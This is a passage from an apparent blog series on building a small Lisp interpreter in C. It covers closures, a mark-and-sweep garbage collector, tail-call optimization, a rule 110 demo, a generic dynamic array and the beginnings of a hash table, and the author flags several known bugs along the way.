                 }
                 return eval(env, root->car);
             }

Oof that is a lot! First things first, yes we are using a GOTO as a way of deduplicating the code, and this has another purpose. We didn’t think much about this yet, but we should try to ensure that our function calls perform tail-call optimizations (TCO). Not that this is necessarily the case now, but in the future we will test these assumptions and ensure this is the case, and we will probably make use of GOTOs for that as well. In any case, let’s break that down:

        if (val->type == OBJ_TYPE_PROCEDURE) {
            return val->proc(env, root->cdr);
        }
        if (val->type == OBJ_TYPE_LAMBDA) {
            goto eval_lambda;
        }

This just check if the value associated with a symbol is a lambda function and jumps to that evaluation. Note that there is a small bug in this code since:

             Object* lambda;
 eval_lambda:
             lambda = eval(env, root->car);
             if (lambda == obj_err) {
                 return obj_err;
             }

Will perform the evaluation again, meaning that proc_lambda will be called twice when we run a lambda function from within a symbol. This will be addressed in the next update, but let’s keep going for now:

                 Object *fun = lambda;
                 Object *args = root->cdr;
                 Object *params = fun->params;
                 env = env_extend(fun->env, env);

This is the most critical part for creating closures. We “extend” the environment that was registered by our lambda with the symbols from the current environment. What it’s actually happening is that we instantiate a new environment that has the lambda environment as a parent. In this new environment, we copy all the non-existing symbols from the current calling environment.

Environment *
env_extend(Environment *parent, Environment *extra) {
    Environment *env = env_create(parent);
    for (size_t i = 0; i < extra->size; i++) {
        EnvEntry entry = extra->buf[i];
        Environment *tmp = env;
        bool found = false;
        while (tmp != NULL) {
            if (env_index_current(tmp, entry.symbol) != -1) {
                found = true;
                break;
            }
            tmp = tmp->parent;
        }
        if (!found) {
            env_add_symbol(env, obj_duplicate(entry.symbol), obj_duplicate(entry.value));
        }
    }
    return env;
}

There is probably a better way of doing this process, but this seems to be doing the trick for now. Just bear in mind that recursive calls to lambda will keep creating new environments, so this is something we want to address when we work on TCO.

The next part binds the arguments to the formal parameters and checks if we have too many or not enough arguments.

        while (params != obj_nil) {
            if (args == obj_nil) {
                error_push((Error){
                    .type = ERR_TYPE_RUNTIME,
                    .value = ERR_NOT_ENOUGH_ARGS,
                });
                return obj_err;
            }
            Object *symbol = params->car;
            Object *value = eval(env, args->car);
            if (value == obj_err) {
                return obj_err;
            }
            if (value == obj_nil) {
                error_push((Error){
                    .type = ERR_TYPE_RUNTIME,
                    .value = ERR_NOT_ENOUGH_ARGS,
                });
                return obj_err;
            }
            env_add_or_update_current(env, symbol, value);
            args = args->cdr;
            params = params->cdr;
        }
        if (args != obj_nil) {
            error_push((Error){
                .type = ERR_TYPE_RUNTIME,
                .value = ERR_TOO_MANY_ARGS,
            });
            return obj_err;
        }

Finally we switch the execution to the body of the lambda and return the result of evaluating the last expression.

        root = fun->body;
        while (root->cdr != obj_nil) {
            if (eval(env, root->car) == obj_err) {
                return obj_err;
            };
            root = root->cdr;
        }
        return eval(env, root->car);

Conclusion

That is it for today! I’ve spent quite a lot of time trying to make closures work as I wanted, but I’m happy how things turned out. As usual check v0.5 for the current version of the code. I’ve also added a new bunch of tests and expected results, and so running make tests should return successfully.

Our language is now Turing complete and it could start being useful. One big problem however, is that we are generating a lot of memory leaks, so the next area to focus on is to build a garbage collector. See you soon!

Introduction

In the previous article we implemented lambdas and closures. Now it’s time to collect the garbage, it’s a messy job but someone has to do it. I don’t have much experience writing garbage collectors (GCs), but for what I could gather a mark-and-sweep implementation is a simple way of get one off the ground. These types of GCs could also be tuned to potentially be used in different contexts, but before thinking about that we actually need to have a working implementation.

A mark-and-sweep method is very simple: on the “mark” phase, traverse all the objects linked from the root nodes. On the sweep phase all the objects that haven’t been marked can be reclaimed for further use. Normally there is a concept of a “free list” that tell us which nodes are available for further allocations. In our case we also would like to mark “environments” that are still in use, so that we can also reclaim them. For this implementation I’m going to start from the basic algorithmic idea and work on my own implementation. We will try to go one step at a time, like usual.

The garbage collector

Allocating objects

For objects, we will allocate a small heap as an array as well as a free-list of the same size. When we call the allocator function we follow this process:

1. Check on the free-list if there are any slots available.
2. If the list is full, trigger the GC algorithm.
3. If the list is still full after that, grow the object and free-list heaps.
4. Return the object in the next available slot.

Simple enough! Another candidate for using dynamic arrays. Our free list looks like this:

typedef struct FreeList {
    size_t *buf;
    size_t size;
    size_t cap;
    size_t position;
} FreeList;

The capacity of the FreeList will match the heap size for Objects. We will use the same free-list strategy for managing new Environments, since their memory also needs to be tracked. Before we continue with the implementation details, we need to briefly discuss…

The mark and sweep algorithm

One of the oldest and simplest garbage collection algorithms. We add a new boolean field to our objects and environments. Later we can encode this in a more efficient way (for example a singe bit in the type field), but we are not there yet.

typedef struct Object {
    ObjectType type;
    bool marked;
    union {
        // OBJ_TYPE_FIXNUM
        ssize_t fixnum;

        // OBJ_TYPE_STRING
        struct {
...

typedef struct Environment {
    struct Environment *parent;
    EnvEntry *buf;
    size_t size;
    size_t cap;
    bool marked;
} Environment;

The marking phase consists on traversing Objects and Environment nodes to test for “reachability”. The concept is pretty simple, but there are some problematic implications. The first question is “where do we start the traversal?”. We could use the global environment as a starting point but the fact we have “closures” means any environment could contain some state. We also need a way of protecting nodes that haven’t yet had the opportunity to be stored as a variable, for example, in the proc_list function:

Object *
proc_list(Environment *env, Object *obj) {
    if (obj == obj_nil) {
        return obj_nil;
    }
    Object *head = make_pair(eval(env, obj->car), obj_nil);
    Object *curr = head;
    obj = obj->cdr;
    while (obj != obj_nil) {
        curr->cdr = make_pair(eval(env, obj->car), obj_nil);
        curr = curr->cdr;
        obj = obj->cdr;
    }
    return head;
}

What happens if the object allocation inside the while loop triggers the garbage collector? The head object is not in an environment so it may potentially be overwritten! To address this issue, we create a stack of Object pointers that we can use to protect nodes. We call these the root nodes. Root nodes are, in addition to environments, starting points for the mark and sweep algorithm.

typedef struct RootNodes {
    Object **buf;
    size_t size;
    size_t cap;
} RootNodes;

void
push_root(Object *obj) {
    if (gc.roots.size == gc.roots.cap) {
        gc.roots.cap *= 2;
        gc.roots.buf = realloc(gc.roots.buf, gc.roots.cap * sizeof(Object *));
    }
    gc.roots.buf[gc.roots.size++] = obj;
}

Object *
pop_root(void) {
    return gc.roots.buf[gc.roots.size--];
}

We do the same thing to denote active environments that we want to protect.

typedef struct ActiveEnvs {
    Environment **buf;
    size_t size;
    size_t cap;
} ActiveEnvs;

void
push_active_env(Environment *env) {
    if (gc.active_envs.size == gc.active_envs.cap) {
        gc.active_envs.cap *= 2;
        gc.active_envs.buf = realloc(gc.active_envs.buf,
                gc.active_envs.cap * sizeof(Environment *));
    }
    gc.active_envs.buf[gc.active_envs.size++] = env;
}

Environment *
pop_active_env(void) {
    return gc.active_envs.buf[gc.active_envs.size--];
}

You can already see that we have a lot of dynamic arrays in our data and all the operations look very similar. It may be time to introduce a dedicated data structure to simplify our code, but that will have to wait until later. We have now all the necessary parts to build our memory manager:

typedef struct GC {
    RootNodes roots;
    Environments envs;
    Object *objects;
    size_t obj_cap;
    FreeList free_objects;
    FreeList free_envs;
    ActiveEnvs active_envs;
} GC;

#define GC_OBJS_CAP  1024 * 1024
#define GC_ROOTS_CAP 1024
#define GC_ACTIVE_ENVS_CAP 2
#define GC_ENVS_CAP  1024 * 4

void
init_gc(void) {
    gc = (GC){
        .objects = malloc(GC_OBJS_CAP * sizeof(Object)),
        .obj_cap = GC_OBJS_CAP,
        .envs = (Environments){
            .buf = malloc(GC_ENVS_CAP * sizeof(Environment)),
            .size = 0,
            .cap = GC_ENVS_CAP,
        },
        .roots = (RootNodes){
            .buf = malloc(GC_ROOTS_CAP * sizeof(Object*)),
            .size = 0,
            .cap = GC_ROOTS_CAP,
        },
        .free_objects = (FreeList){
            .buf = malloc(GC_OBJS_CAP * sizeof(size_t)),
            .size = GC_OBJS_CAP,
            .cap = GC_OBJS_CAP,
        },
        .free_envs = (FreeList){
            .buf = malloc(GC_ENVS_CAP * sizeof(size_t)),
            .size = GC_ENVS_CAP,
            .cap = GC_ENVS_CAP,
        },
        .active_envs = (ActiveEnvs){
            .buf = malloc(GC_ACTIVE_ENVS_CAP * sizeof(Environment*)),
            .size = 0,
            .cap = GC_ACTIVE_ENVS_CAP,
        },
    };

    // The free list stores the offset from the initial position for all
    // available slots.
    for (size_t i = 0; i < GC_OBJS_CAP; i++) {
        gc.free_objects.buf[i] = i;
    }
    for (size_t i = 0; i < GC_ENVS_CAP; i++) {
        gc.free_envs.buf[i] = i;
    }
}

The initialization function will be called from main at the start, and just sets up the initial heap allocations and points the free lists to every available slot.

Implementation

As previously mentioned, marking nodes and environments is pretty straightforward. Only the PAIR and LAMBDA types need to be treated specially:

void
mark_environment(Environment *env) {
    if (env == NULL || env->marked) {
        return;
    }
    env->marked = true;
    for (size_t i = 0; i < env->size; i++) {
        EnvEntry *entry = &env->buf[i];
        mark_obj(entry->symbol);
        mark_obj(entry->value);
    }
}

void
mark_obj(Object *obj) {
    if (obj->marked) {
        return;
    }
    obj->marked = true;
    if (obj->type == OBJ_TYPE_PAIR) {
        mark_obj(obj->car);
        mark_obj(obj->cdr);
    }
    if (obj->type == OBJ_TYPE_LAMBDA) {
        mark_obj(obj->params);
        mark_obj(obj->body);
        mark_environment(obj->env);
    }
}

void
mark_and_sweep(void) {
    // Mark.
    for (size_t i = 0; i < gc.active_envs.size; i++) {
        mark_environment(gc.active_envs.buf[i]);
    }
    for (size_t i = 0; i < gc.roots.size; i++) {
        mark_obj(gc.roots.buf[i]);
    }
...

The sweeping phase is tasked with cleaning the memory of unmarked objects and environments and recreating the free lists:

    // Reset the free list.
    gc.free_objects.position = 0;
    gc.free_objects.size = 0;
    gc.free_envs.position = 0;
    gc.free_envs.size = 0;

    // Sweep.
    for (size_t i = 0; i < gc.obj_cap; i++) {
        Object *obj = &gc.objects[i];
        if (!obj->marked) {
            // Free heap allocated memory for this object if needed.
            if (obj->type == OBJ_TYPE_SYMBOL) {
                free(obj->symbol);
                obj->symbol = NULL;
                obj->symbol_n = 0;
            } else if (obj->type == OBJ_TYPE_STRING) {
                free(obj->string);
                obj->string = NULL;
                obj->string_n = 0;
            }
            gc.free_objects.buf[gc.free_objects.size++] = i;
        }
        obj->marked = false;
    }
    for (size_t i = 0; i < gc.envs.cap; i++) {
        Environment *env = &gc.envs.buf[i];
        if (!env->marked) {
            if (env->buf != NULL) {
                free(env->buf);
                env->buf = NULL;
                env->size = 0;
                env->cap = 0;
            }
            gc.free_envs.buf[gc.free_envs.size++] = i;
        }
        env->marked = false;
    }

As simple as it is, the biggest burden is to check our entire code to ensure every time we allocate we are protected against the GC removing temporary objects. Even our parser is affected, since after all, we are allocating memory there. To avoid issues during the initial AST construction, we ensure every possible return object in our parse tree is initially marked as a root node:

Object *
parse_list(Visitor *vs) {
    Token tok = peek_token(vs);
    if (tok.type == TOKEN_EOF) {
        return obj_err;
    }
    Object *root = make_pair(obj_nil, obj_nil);
    push_root(root);
    Object *next_obj = parse_tree(vs);
    if (next_obj == obj_err) {
    ...

Object *
parse_fixnum(Token tok) {
    ssize_t num = 0;
    int sign = 1;
    for (size_t i = 0; i < tok.value.n; i++) {
        char c = tok.value.start[i];
        if (c == '-') {
            sign = -1;
            continue;
        }
        num = num * 10 + (c - '0');
    }

    Object *obj = make_fixnum(num * sign);
    push_root(obj);
    return obj;
}
...

Once we have an expression tree, we can restore the previous stack and push just the root node to the protected list, and we must also not forget to release the AST once we are done with it with pop_root():

        size_t root_stack_size = gc.roots.size;
        Object *root = parse_tree(&visitor);
        gc.roots.size = root_stack_size;
        if (root == obj_err || errors_n != 0) {
            break;
        }
        push_root(root);

        Object *result = eval(global_env, root);
        if (result != obj_nil) {
            display(result);
            printf("\n");
        }
        pop_root();

Just to be sure, in our initialization function we also protect our singleton objects:

void
init(void) {
    // Initialize garbage collector.
    init_gc();

    // Initialize singletons.
    obj_nil = alloc_object(OBJ_TYPE_NIL);
    obj_true = alloc_object(OBJ_TYPE_BOOL);
    obj_false = alloc_object(OBJ_TYPE_BOOL);
    obj_err = alloc_object(OBJ_TYPE_ERR);
    obj_quote = make_symbol((StringView){"quote", 5});
    push_root(obj_nil);
    push_root(obj_true);
    push_root(obj_false);
    push_root(obj_err);
    push_root(obj_quote);
...

Luckily we don’t allocate objects in many of our primitive functions, and so we only need to pay attention to proc_list and proc_cons for now. However, there is a big problem with our garbage collector right now.

The elephant in the room

I mentioned at the beginning that if the free lists are full, we need to allocate more memory and move our data there. The issue is that we are using pointers all over our data for environments and objects, and if we realloc our memory it is likely our pointers will be invalidated. As an example, think of this snippet:

Object *
proc_equal(Environment *env, Object *obj) {
    Object *a = eval(env, obj->car);
    Object *b = eval(env, obj->cdr->car);
    return obj_eq(a, b) ? obj_true : obj_false;
}

Anything that depends on evaluation may trigger allocations, and thus the GC can kick it. So if the first evaluation returns a valid a object pointer, but the second evaluation triggers the GC and the table has to grow, the first pointer will be invalidated. Nothing may happen at first, and things may work normal, since technically the data is still there, but the memory to which a was pointing is no longer valid! This can lead to nasty bugs hidden in our code and/or random crashes.

We could address the problem by not using pointers, for example, eval could return an offset to the objects array, which in turn we can transform into a concrete type or to modify the memory atomically. This, however requires significant refactoring so our current solution is to allocate heaps that we consider “big enough” for now (~1MB for objects and 4K for environments) and just crash with and out of memory error if we find ourselves without memory:

Object *
alloc_object(ObjectType type) {
    if (gc.free_objects.size == 0) {
        mark_and_sweep();
        if (gc.free_objects.size == 0) {
            fprintf(stderr, "NO MORE OBJ MEMORY AVAILABLE WHERE IS YOUR GOD NOW MWAHAHA\n");
            dump_gc();
            exit(EXIT_FAILURE);
            // TODO: grow heap tables.
        }
    }
    size_t slot = gc.free_objects.buf[gc.free_objects.position++];
    gc.free_objects.size--;
    Object *obj = get_obj(slot);
    obj->type = type;
    obj->marked = false;
    return obj;
}

Environment *
alloc_env(void) {
    if (gc.free_envs.size == 0) {
        mark_and_sweep();
        if (gc.free_envs.size == 0) {
            fprintf(stderr, "NO MORE ENV MEMORY AVAILABLE WHERE IS YOUR GOD NOW MWAHAHA\n");
            dump_gc();
            exit(EXIT_FAILURE);
            // TODO: grow heap tables.
        }
    }
    size_t slot = gc.free_envs.buf[gc.free_envs.position++];
    gc.free_envs.size--;
    return &gc.envs.buf[slot];
}

If we start crashing, we can of course increase the size of the alloted memory, but maybe we need to think of a long term solution. Meanwhile, since we have to touch the eval function, there is one more topic we must go through.

Evaluations and tail-call-optimizations

We can’t avoid it any longer, we must talk about tail-call-optimization (TCO). Our language, like Scheme, is based on the usage of recursion to create loops and iterative procedures. Because of that we need to guarantee that our functions don’t blow up the stack. For example, in the initial implementation of lambda functions and closures, we use the env_extend function to create a new environment for E-V-E-R-Y S-I-N-G-L-E recurring call. We don’t have the luxury of leaking memory or thinking we have an infinite heap anymore.

The good news is that implementing TCOs is actually pretty simple. We use a boolean tag recursion_active to indicate that we are in the middle of an iterative procedure. Furthermore, when we create the new extended environment, we also protect it from the GC:

eval_lambda:
            args = root->cdr;
            Object *params = lambda->params;
            if (!recursion_active) {
                recursion_active = true;
                // Protect current stack.
                Environment *tmp = env_create(lambda->env);
                push_active_env(tmp);
                // Extend environment.
                env = env_extend(tmp, env);
            }
            while (params != obj_nil) {
                if (args == obj_nil) {
                    error_push((Error){
                        .type = ERR_TYPE_RUNTIME,
                        .value = ERR_NOT_ENOUGH_ARGS,
                    });
                    return obj_err;
                }
                Object *symbol = params->car;

            ...

Not much else changes until the bottom part of this case:

            root = lambda->body;
            while (root->cdr != obj_nil) {
                if (eval(env, root->car) == obj_err) {
                    return obj_err;
                };
                root = root->cdr;
            }
            root = root->car;
            goto eval_start;

Instead of finishing up with return eval(env, root->car);, we explicitly jump to the beginning of the evaluation function. Note that sometimes, a C compiler may do this optimization for you, but we absolutely need to guarantee that the TCO happens. We can’t forget to release the environment once we are done, so we change all our return statements to point to the eval_success label, which will perform this cleanup:

...
eval_success:
    if (recursion_active) {
        // Remove stack protector.
        pop_active_env();
    }
    return ret;

There is one last piece of the puzzle. For now, this will only work for infinite recursion types. We also need to make the if procedure tail recursive. We can start by just copying the function into the appropriate area, and transform our proc_if primitive procedure into a singleton. After that, we can achieve TCO with:

    if (val == proc_if) {
        Object *obj = root->cdr;
        if (obj == obj_nil || obj->cdr == obj_nil) {
            error_push((Error){
                .type = ERR_TYPE_RUNTIME,
                .value = ERR_NOT_ENOUGH_ARGS,
            });
            return obj_err;
        }
        Object *car = obj->car;
        Object *cdr = obj->cdr;
        Object *condition = eval(env, car);
        if (condition == obj_err) {
            return obj_err;
        }
        if (condition == obj_true) {
            root = cdr->car;
        } else if (cdr->cdr != obj_nil) {
            root = cdr->cdr->car;
        } else {
            return obj_nil;
        }
        goto eval_start;
    }

Not too bad right? Don’t be afraid of the much maligned goto's, if used judiciously they can greatly help to avoid code repetition and allow for some nifty tricks like this one here. There are a couple of other minor changes here and there, but that is pretty much all we need to remark. Note that we may have to apply the same treatment to other tail-recursive functions (for example, cond or let), but this hopefully sets the ground for those additions.

Conclusion

This was a big milestone in the project! Yes, we still didn’t fully addressed some issues with the garbage collector, but at least on v0.6 all the examples and tests run successfully, and we are not leaking any memory (at least according to AdressSanitizer, which I have used extensively when trying to debug this code). The Fibonacci function in the examples folder is actually not fully TCO, but can be used to test if the GC its doing its job. Here is a different tail optimized function for testing purposes, just a long loop, which hopefully should run to completion:

(fun recur (n)
    (if (<= n 1)
        'ok
        (recur (- n 1))))

(recur 2000000)

I can’t begin to tell you how many hours I wasted trying to discover memory leaks due to some uninitialized variable. Moving forward we should still be cautious about memory, specially when it comes to protecting root nodes. For our next trick, we will probably be doing some refactoring, code cleanup and maybe implementing a data structure or two. See you around!

Introduction

If you are following along, we just finalized a simple garbage collector for our language. At this point we have a fully functional language, so I decided to have some fun and implement a (slow) version of the rule 110 cellular automata:

(def sequence (list 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1))

(fun print-line (seq)
    (if (or (nil? seq) (= 0 (car seq)))
        (print "  ")
        (print "##"))
    (if (not (nil? seq)) (print-line (cdr seq))))

(fun rule-110 (seq n)
    (fun new-generation (partial-seq)
        (def a (if (nil? partial-seq) 0 (car partial-seq)))
        (def b (if (or (nil? partial-seq)
                    (nil? (cdr partial-seq)))
                    0
                    (car (cdr partial-seq))))
        (def c (if (or (nil? partial-seq)
                    (nil? (cdr partial-seq))
                    (nil? (cdr (cdr partial-seq))))
                    0
                    (car (cdr (cdr partial-seq)))))
        (def number (+ (* a 2 2) (* b 2) c))
        (def cell (cond ((= number 0) 0)
                        ((= number 1) 1)
                        ((= number 2) 1)
                        ((= number 3) 1)
                        ((= number 4) 0)
                        ((= number 5) 1)
                        ((= number 6) 1)
                        ((= number 7) 0)))
        (if (nil? partial-seq)
            ()
            (cons cell (new-generation (cdr partial-seq)))))
    (print-line seq)
    (newline)
    (def seq (cons 0 (new-generation seq)))
    (if (= n 0)
        ()
        (rule-110 seq (- n 1))))

This function should print something like this:

                                 ##
                               ####
                             ######
                           ####  ##
                         ##########
                       ####      ##
                     ######    ####
                   ####  ##  ######
                 ##############  ##
               ####          ######
             ######        ####  ##
           ####  ##      ##########
         ##########    ####      ##
       ####      ##  ######    ####
     ######    ########  ##  ######
   ####  ##  ####    ##########  ##

During this implementation I realized that there were a couple of bugs in our code. First of all, we want to be able to pass the empty list nil as an argument to functions. This is a small change, but another issue appeared: When we have nested functions, we can’t shadow the parameter names or things don’t work properly. For example:

(fun rule-110 (seq n)
    (fun new-generation (seq)
...

In this case, if we use seq as the name for the new-generation parameter, recursively calling (const (new-generation (cdr seq))) will not properly resolve the binding, using the seq variable from the previous call. I decided to not worry about this bug for now, but we should be aware that this is an issue. Soon we will start working on a second interpreter going from a tree-walking interpreter to a bytecode one, so this issue is probably better handled at that stage.

In preparation to that part I decided to clean things up a little by adding header files for all C files, since we have a number of circular references and I don’t want to be forward declaring functions a million times. I don’t have anything to say about that, since it just consists on adding some declarations and comments, and moving some things around. Instead, today we are going to be working on creating a couple of reusable data structures in C that we can use to clean up the current interpreter and in preparation for the future.

A generic dynamic array

You are already familiar with these; growable arrays that can we use for storing stacks, lists of tokens, etc. We have a bunch of type specific implementations scattered around, but I would like to unify these to avoid duplicating the same functions all over. First lets talk usage. I want an ergonomic way of using this structure, as it is very common. The easier it is to use, the more I will use it when appropriate. Here is an example:

#include "darray.h"

typedef struct Person {
    size_t age;
    size_t height;
} Person;

int main(void) {
    // Initialization.
    Person *person = NULL;
    array_init(person, 1);

    // Adding elements.
    Person p1 = {40, 180};
    Person p2 = {10, 130};
    Person p3 = {82, 176};
    array_push(person, p1);
    array_push(person, p2);
    array_push(person, p3);

    // Accessors.
    printf("size: %ld\n", array_size(person));
    printf("cap: %ld\n", array_cap(person));
    printf("p1: %ld %ld\n", person[0].age, person[0].height);
    printf("p2: %ld %ld\n", person[1].age, person[1].height);
    printf("p3: %ld %ld\n", person[2].age, person[2].height);

    // Pop.
    Person p4 = array_pop(person);
    printf("p4: %ld %ld\n", p4.age, p4.height);
    for (size_t i = 0; i < array_size(person); i++) {
        printf("i: %ld age: %ld\n", i, person[i].age);
    }

    // Free memory.
    array_free(person);
    return 0;
}

As you can see, we have an struct of an arbitrary size. A pointer to that struct is initialized as NULL and then we pass it to the array_init function with the number of initial elements we want to store. We call then add any number of elements with array_push and the array will grow as needed. We can access individual array elements with the arr[i] notation. The array_free function is used to properly release the memory, note that we can’t use free for reasons we will discuss in the implementation details. Finally we have array_pop to use the structure as a stack and some accessor functions array_size and array_cap.

There are a couple of ways of achieving this for example we could have an array type that contains size/capacity the type size and an array of bytes like so:

typedef struct Array {
    size_t size;
    size_t cap;
    size_t type_size;
    char *bytes;
} Array;

But this would make it so that all our array types have to be described in that manner so instead of:

typedef struct Thing {
    Array foo;
    Array bar;
    Array baz;
} Thing;

I prefer to have something like this, since it gives you some more information at first glance:

typedef struct Thing {
    size_t *foo;
    bytes *bar;
    OtherThing *baz;
} Thing;

A small trick can be used to get a better API. We can embed the size and capacity at the beginning of an array, and then point the data immediately after that:

bytes
|0|1|2|3|4|5|6|7|8|9|a|b|c|d|e|f| | | | | | | | | | | | | |
 ^size           ^capacity       ^data-pointer

We need to be careful and make sure our data is properly memory aligned, and when freeing the data, we need to free the memory since the beginning (the size pointer), not from the data pointer. We start by defining the array header and some macros to access the fields of an array according to this method:

typedef struct ArrayHeader {
    size_t size;
    size_t cap;
} ArrayHeader;

#define array_head(ARR) ((ArrayHeader *)((char *)(ARR) - sizeof(ArrayHeader)))
#define array_size(ARR) ((ARR) ? array_head(ARR)->size : 0)
#define array_cap(ARR)  ((ARR) ? array_head(ARR)->cap : 0)

Pretty self explanatory. Lets add some more macros for the rest of the interface functions:

#define array_init(ARR,N)  ((ARR) = _array_reserve(N, sizeof(*(ARR))))
#define array_push(ARR, T) \
    ((ARR) = _array_maybe_grow(ARR, sizeof(T)), \
     (ARR)[array_head(ARR)->size++] = (T))
#define array_pop(ARR)   (ARR)[--array_head(ARR)->size]
#define array_free(ARR) ((ARR) ? free(array_head(ARR)), (ARR) = NULL : 0)

This can be a bit confusing to read but hopefully is clear enough. The key is avoiding passing sizeof(T) at every call site, since that can get quite tedious, so these macros help us having a cleaner interface. The only thing left is to add the initialization function and the _array_maybe_grow which will grow the array if needed, otherwise it will leave it alone.

static inline void *
_array_reserve(size_t num_elem, size_t type_size) {
    char *p = malloc(num_elem * type_size + sizeof(ArrayHeader));
    p += sizeof(ArrayHeader);
    array_head(p)->size = 0;
    array_head(p)->cap = num_elem;
    return p;
}

static inline void *
_array_maybe_grow(void *arr, size_t type_size) {
    ArrayHeader *head = array_head(arr);
    if (head->cap == head->size) {
        if (head->cap == 0) {
            head->cap++;
        } else {
            head->cap *= 2;
        }
        head = realloc(head, head->cap * type_size + sizeof(ArrayHeader));
    }
    arr = (char *)head + sizeof(ArrayHeader);
    return arr;
}

We are also going to add a way of inserting an arbitrary number of bytes to a dynamic array. This is helpful for strings, for example:

#define array_insert(ARR, SRC, N) \
    ((ARR) = _array_insert(ARR, SRC, N, sizeof(*(ARR))))

static inline
char * _array_insert(char *arr, const char *src, size_t n_bytes, size_t type_size) {
    ArrayHeader *head = array_head(arr);
    size_t new_size = n_bytes + head->size;
    if (new_size >= head->cap * type_size) {
        if (head->cap == 0) {
            head->cap = 1;
        }
        while (new_size >= head->cap * type_size) {
            head->cap *= 2;
        }
        head = realloc(head, head->cap * type_size + sizeof(ArrayHeader));
    }
    arr = (char *)head + sizeof(ArrayHeader);
    memcpy((arr + head->size), src, n_bytes);
    head->size = new_size;
    return arr;
}

And that is all! This shouldn’t look much more different that what you are used to seeing thus far. We can add this file to the project and do a small refactor to remove redundant things. For example:

if (env->buf == NULL) {
    env->size = 0;
    env->cap = ENV_BUF_CAP;
    env->buf = malloc(env->cap * sizeof(EnvEntry));
} else if (env->size == env->cap) {
    env->cap *= 2;
    env->buf = realloc(env->buf, env->cap * sizeof(EnvEntry));
}
env->buf[env->size++] = (EnvEntry){symbol, value};

becomes:

array_push(env->entries, entry);

Hash tables for objects

In some cases we have been using fairly inefficient data structures. For example, environments are better stored as hash tables than dynamic arrays. We care that lookup speed is fast, and with small arrays, this is fine, but as we have more and more variables or have to perform more lookups, it is important to go from O(n) to O(1). Hash tables are the perfect structure for this kind of associative relationships mapping symbols to values. In C we don’t have a readily available hash table implementation, but soon this will change, as we will make one ourselves.

Much ink has been spilled over different advances in hash tables for many a year. Here I’m not going to give a very detailed explanation of them, just some basic concepts and a simple implementation.

As previously mentioned, a hash table maps a key to a value in an efficient way. But what constitutes a key or a value can have different meanings. For example we could have an int to string, a string to int, a string to string, etc. For our purposes we could make an Object -> Object or Object* -> Object *. However we should be able to build a generic hash table that takes any type as either key or value, symbolically K -> V, provided a type specific hash function is given.

The first decision we need to make is if we are going to store things by value or by reference. That is, do we keep an internal copy of key-value pairs or pointers to the original values? For simplicity we will use the later approach, since it’s mostly how we have been approaching things in this project. Be aware that this could have some performance benefits, but also dangerous drawbacks if the pointers ever get invalidated or freed.

A hash table could be thought of as a number of buckets (or slots) to store our key-value pairs and a hash function that would tell us which bucket to use. For example, let’s say that our keys and values are both integers between 1 and 20 and our table contains 10 buckets. If we use the modulo operation as the hash function we would have these assigned slots for the following sequence of insertions:

OPERATION          HASH       SLOT
insert({9, V})  -> 9 % 10  -> slot: 9
insert({13, V}) -> 13 % 10 -> slot: 3
insert({16, V}) -> 16 % 10 -> slot: 6
insert({2, V})  -> 2 % 10  -> slot: 2

I’m betting you can already spot one issue with this, what happens if we try to map 9 and 19? With that hashing function they will both go to the slot number 9! We could use a different hashing function of course, but inevitably we will run into this issue as long as the number of buckets is smaller than the possible values we can have. Since allocating 2^64 slots is far from ideal, what we actually need is some way of dealing with hash collisions.

The two main strategies for handling collisions are “chaining” and “open addressing”. Briefly, chaining deals with collisions by storing a linked list of elements in each bucket. With open addressing, if a bucket is full, we try a different slot using some heuristic and insert the item there instead. You can read more about these strategies on the Wikipedia page for hash tables.

For now we will implement a simple open addressing model with linear probing that later can be used to add some optimizations, such as Robin-Hood hashing, that seems to be one of the contenders for faster performing general purpose hash tables.

One more issue we have to consider is that even with linear probing, the backing array will be full eventually. We will handle this by growing the table if the load factor (size / capacity) is above a certain threshold.

API

For now let’s imagine we have the following usage case:

int main(void) {
    // Initialize GC.
    gc_init();

    // Initialize key-value objects.
    Object *k1 = MAKE_SYM("Alice");
    Object *k2 = MAKE_SYM("Bob");
    Object *k3 = MAKE_SYM("Dog");
    Object *v1 = make_fixnum(10);
    Object *v2 = make_fixnum(49);
    Object *v3 = make_fixnum(333);

    // Initialize hash table.
    HashTable *table = ht_init();

    // Add some key-value pairs.
    ht_insert(table, k1, v1);
    ht_insert(table, k2, v2);
    ht_insert(table, k3, v3);

    // Test lookups.
    Object *alice_val = ht_lookup(table, k1);
    Object *bob_val = ht_lookup(table, MAKE_SYM("Bob"));
    Object *dog_val = ht_lookup(table, k3);

    // Verify things work as expected.
    if (v1 == alice_val) {
        printf("Alice match!\n");
    }
    if (v2 == bob_val) {
        printf("Bob match!\n");
    }
    if (v3 == dog_val) {
        printf("Dog match!\n");
    }

    ht_free(table);
    return 0;
}

We can perform object insertions in our table and lookups. Later we will talk about deletion as well. Remember that our table doesn’t store a copy of the key-value objects, only a reference value, so if an object gets freed/garbage collected, we may have a missing reference issue. With the current default GC parameters this should still be fine, however. Note how we are testing the lookups against the same object but also when using a key that semantically has the same value, but functionally is a different object in the heap: Object *bob_val = ht_lookup(MAKE_SYM("Bob"));.

Implementation

We can start with defining the structure of the table and key value pairs:

typedef struct HashTablePair {
    Object *key;
    Object *value;
} HashTablePair;

typedef struct HashTable {
    HashTablePair *pairs;
} HashTable;

We will add later a couple of things to our HashTable struct, so if it looks barren or unnecessary right now, that is why. We initialize the table as follows. We want the pairs to have NULL values as initialization.

HashTable *
ht_init(void) {
    HashTable *table = malloc(sizeof(HashTable));
    table->pairs = NULL;
    array_init(table->pairs, HT_MIN_CAP);
    for (size_t i = 0; i < array_cap(table->pairs); i++) {
        table->pairs[i] = (HashTablePair){NULL, NULL};
    }
    return table;
}

We create a lookup function that obtains a position from a hashing function ht_hash. We assume that the hashing function will always will give us a value that will fit within the pairs array, never out of bounds. We iteratively check if the key actually match with the object stored in the given position, if the hash doesn’t correspond to an initialized key or if we traverse the entire array without finding a proper match we return NULL. Otherwise the stored reference for the value will be returned.

Object *
ht_lookup(const HashTable *table, const Object *key) {
    size_t position = ht_hash(table, key);
    size_t probe_position = position;

    // Verify the key in that position is the same. If not perform linear
    // probing to find it.
    HashTablePair *pairs = table->pairs;
    while (true) {
        if (pairs[probe_position].key == NULL) {
            return NULL;
        }
        if (obj_eq(pairs[probe_position].key, key)) {
            break;
        }
        if (probe_position == array_cap(pairs) - 1) {
            probe_position = 0;
        } else {
            probe_position++;
        }
        if (probe_position == position) {
            return NULL;
        }
    }
    return pairs[probe_position].value;
}

